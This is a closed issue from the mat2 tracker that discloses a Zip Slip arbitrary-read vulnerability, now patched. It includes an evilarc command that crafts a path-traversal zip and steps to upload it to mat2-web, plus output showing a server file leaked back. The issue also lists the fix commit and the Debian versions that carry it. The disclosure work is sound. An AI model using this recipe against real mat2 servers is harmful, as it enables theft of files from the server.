Closed Issue created 4 months ago by jvoisin

Arbitrary read via malicious zip file

[As received by email, sent by jfriedli]

Heyo

I found an issue in mat2. It is vulnerable to the Zip slip vulnerability.

Here a little summary :)

Create malicious file

Script used to create a Zip Slip file: https://github.com/ptoomey3/evilarc/blob/master/evilarc.py

`python2.7 evilarc.py filename_to_extract.txt -d 0 -o "unix" -p "../../../home/kali/Documents/projects"`

whereas `filename_to_extract.txt` is the filename of the file you want to extract from the victim system. Note: it has to be a supported extension by mat2

`mat2 evil.zip`

and upon extracting the cleaned zip file you receive the file from the victim.

Example Extracting Requirements.txt From Webserver

Create empty target file we want to extract. `touch requirements.txt`

We know the absolute path of the target file on the server from the Dockerfile.

```
python2.7 path_tra.py requirements.txt -d 0 -o "unix" -p "../../../var/www/mat2-web/"
Creating evil.zip containing ../../../var/www/mat2-web/requirements.txt
```

Check if if the path and filename is correct.

```
cat evilzip
PKmT*../../../var/www/mat2-web/requirements.txtPKmT*  t2-web/requirements.txtPKXH
```

Then upload the file via the web interface and download the cleaned zip.

Afterward we unzip it.

```
unzip evil.cleaned.zip
Archive:  evil.cleaned.zip
warning:  skipped "../" path component(s) in ../../../var/www/mat2-web/requirements.txt
 extracting: var/www/mat2-web/requirements.txt
```

And we can proof that we received the content of the `requirements.txt` from the server.

```
cat var/www/mat2-web/requirements.txt
mutagen==1.45.1
ffmpeg==1.4
bubblewrap==1.2.0
mat2==0.12.4
flask==2.1.2
Flask-RESTful==0.3.9
Flask-Cors==3.0.10
Cerberus==1.3.4
Flask-Testing==0.8.1
blinker==1.4
flasgger==0.9.5
Flask-Assets==2.0
```

Edited 4 months ago by jvoisin

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information

Tasks 0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items 0

Link issues together to show that they're related. Learn more.

Activity

jvoisin added critical information leak security labels 4 months ago

jvoisin assigned to @jvoisin 4 months ago

jvoisin changed the description 4 months ago

jvoisin @jvoisin · 4 months ago Author Owner

This is fixed by beebca4b

https://dustri.org/b/mat2-0130.html has some details as well.

jvoisin made the issue visible to everyone 4 months ago

G

georg @georg · 4 months ago Developer

As described above, that's fixed and released -- lets close this issue?

jvoisin closed 4 months ago

jvoisin @jvoisin · 4 months ago Author Owner

As said in the blogpost:

> Case where an attacker is sending a malicious zip file to a regular mat2 user to process, and is then able to get it back should hopefully be pretty rare.

But to be on the safe-side, I would recommend backporting, since the impact of this vulnerability can be pretty catastrophic. Moreover, the patch is pretty clean and self-contained.

G

georg @georg · 4 months ago Developer

FTR, in Debian this issue has been fixed:

- for oldstable (buster) in `0.8.0-3+deb10u1`
- for stable (bullseye) in `0.12.1-2+deb11u1`
- for unstable and testing in `0.13.0-1`

Please register or sign in to reply